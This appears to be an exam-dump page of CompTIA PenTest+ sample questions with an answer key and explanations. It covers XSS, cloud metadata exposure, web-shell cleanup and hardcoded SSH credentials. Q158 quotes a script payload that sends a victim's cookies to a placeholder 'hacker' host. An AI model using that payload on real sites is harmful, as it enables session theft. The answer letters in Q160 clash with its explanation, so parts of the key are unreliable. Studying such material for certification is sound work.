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[General] PT0-003 Valid Test Cram Exam Reliable CompTIA Certifications | New PT0-003 Exam

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【General】 PT0-003 Valid Test Cram Exam Reliable CompTIA Certifications | New PT0-003 Exam

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CompTIA PenTest+ Exam Sample Questions (Q156-Q161):NEW QUESTION # 156
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
INSTRUCTIONS
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

Answer:
Explanation:

Explanation:
1. Reflected XSS - Input sanitization (<> ...)
2. Sql Injection Stacked - Parameterized Queries
3. DOM XSS - Input Sanitization (<> ...)
4. Local File Inclusion - sandbox req
5. Command Injection - sandbox req
6. SQLi union - paramtrized queries
7. SQLi error - paramtrized queries
8. Remote File Inclusion - sandbox
9. Command Injection - input saniti $
10. URL redirect - prevent external calls

NEW QUESTION # 157
In a cloud environment, a security team discovers that an attacker accessed confidential information that was used to configure virtual machines during their initialization. Through which of the following features could this information have been accessed?
  • A. Virtual private cloud
  • B. Block storage
  • C. IAM
  • D. Metadata services
Answer: D
Explanation:
Metadata services in cloud environments provide information about the configuration and instance details, including sensitive data used during the initialization of virtual machines. Attackers can access this information to exploit and gain unauthorized access.
* Understanding Metadata Services:
* Purpose: Metadata services provide instance-specific information, such as instance IDs, public keys, and other configuration details.
* Access: Typically accessible via a special IP address (e.g., 169.254.169.254 in AWS) from within the instance.
* Common Information Exposed:
* Instance Metadata: Details about the instance, such as instance ID, hostname, and network configurations.
* User Data: Scripts and configuration data used for instance initialization, which might contain sensitive information.
* IAM Role Credentials: Temporary security credentials for IAM roles attached to the instance, potentially leading to privilege escalation.
* Security Risks:
* Unauthorized Access: Attackers can exploit exposed metadata to gain sensitive information and credentials.
* Privilege Escalation: Accessing IAM role credentials can allow attackers to perform actions with elevated privileges.
* Best Practices:
* Restrict Access: Implement access controls to limit access to metadata services.
* Use IAM Roles Carefully: Ensure that IAM roles provide the minimum necessary privileges.
* Monitor Access: Regularly monitor access to metadata services to detect and respond to unauthorized access.
* References from Pentesting Literature:
* Penetration testing guides discuss the importance of securing metadata services and the risks associated with their exposure.
* HTB write-ups often highlight the exploitation of metadata services to gain access to sensitive information in cloud environments.
Step-by-Step ExplanationReferences:
* Penetration Testing - A Hands-on Introduction to Hacking
* HTB Official Writeups

NEW QUESTION # 158
Given the following code:
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT> Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)
  • A. Web-application firewall
  • B. Session tokens
  • C. Output encoding
  • D. Parameterized queries
  • E. Base64 encoding
  • F. Input validation
Answer: C,F
Explanation:
Encoding (commonly called "Output Encoding") involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the &lt; string when writing to an HTML page.
Output encoding and input validation are two of the best methods to prevent against this type of attack, which is known as cross-site scripting (XSS). Output encoding is a technique that converts user-supplied input into a safe format that prevents malicious scripts from being executed by browsers or applications. Input validation is a technique that checks user-supplied input against a set of rules or filters that reject any invalid or malicious data. Web-application firewall is a device or software that monitors and blocks web traffic based on predefined rules or signatures, but it may not catch all XSS attacks. Parameterized queries are a technique that separates user input from SQL statements to prevent SQL injection attacks, but they do not prevent XSS attacks. Session tokens are values that are used to maintain state and identify users across web requests, but they do not prevent XSS attacks. Base64 encoding is a technique that converts binary data into ASCII characters for transmission or storage purposes, but it does not prevent XSS attacks.

NEW QUESTION # 159
A penetration tester gives the following command to a systems administrator to execute on one of the target servers:
rm -f /var/www/html/G679h32gYu.php
Which of the following BEST explains why the penetration tester wants this command executed?
  • A. To remove a web shell after the penetration test
  • B. To delete credentials the tester created
  • C. To close down a reverse shell
  • D. To trick the systems administrator into installing a rootkit
Answer: A
Explanation:
A web shell is a malicious script that allows remote access and control of a web server. A penetration tester may use a web shell to execute commands on the target server during a penetration test. However, after the test is completed, the penetration tester should remove the web shell to avoid leaving any traces or backdoors on the server. The command rm -f /var/www/html/G679h32gYu.php deletes the file G679h32gYu.php from the web server's document root directory, which is likely the location of the web shell. The other options are not plausible explanations for why the penetration tester wants this command executed.

NEW QUESTION # 160
In a file stored in an unprotected source code repository, a penetration tester discovers the following line of code:
sshpass -p donotchange ssh admin@192.168.6.14
Which of the following should the tester attempt to do next to take advantage of this information? (Select two).
  • A. Confirm whether the server 192.168.6.14 is up by sending ICMP probes.
  • B. Use an external exploit through Metasploit to compromise host 192.168.6.14.
  • C. Use Nmap to identify all the SSH systems active on the network.
  • D. Investigate to find whether other files containing embedded passwords are in the code repository.
  • E. Take a screen capture of the source code repository for documentation purposes.
  • F. Run a password-spraying attack with Hydra against all the SSH servers.
Answer: D,E
Explanation:
When a penetration tester discovers hard-coded credentials in a file within an unprotected source code repository, the next steps should focus on documentation and further investigation to identify additional security issues.
Explanation:
* Taking a Screen Capture (Option B):
* Documentation: It is essential to document the finding for the final report. A screen capture provides concrete evidence of the discovered hard-coded credentials.
* Audit Trail: This ensures that there is a record of the vulnerability and can be used to communicate the issue to stakeholders, such as the development team or the client.
* Investigating for Other Embedded Passwords (Option C):
* Thorough Search: Finding one hard-coded password suggests there might be others. A thorough investigation can reveal additional credentials, which could further compromise the security of the system.
* Automation Tools: Tools like truffleHog, git-secrets, and grep can be used to scan the repository for other instances of hard-coded secrets.
Pentest References:
* Initial Discovery: Discovering hard-coded credentials often occurs during source code review or automated scanning of repositories.
* Documentation: Keeping detailed records of all findings is a critical part of the penetration testing process. This ensures that all discovered vulnerabilities are reported accurately and comprehensively.
* Further Investigation: After finding a hard-coded credential, it is best practice to look for other security issues within the same repository. This might include other credentials, API keys, or sensitive information.
Steps to Perform:
* Take a Screen Capture:
* Use a screenshot tool to capture the evidence of the hard-coded credentials. Ensure the capture includes the context, such as the file path and relevant code lines.
* Investigate Further:
* Use tools and manual inspection to search for other embedded passwords.
* Commands such as grep can be helpful:
grep -r 'password' /path/to/repository
* Tools like truffleHog can search for high entropy strings indicative of secrets:
trufflehog --regex --entropy=True /path/to/repository
By documenting the finding and investigating further, the penetration tester ensures a comprehensive assessment of the repository, identifying and mitigating potential security risks effectively.

NEW QUESTION # 161
......
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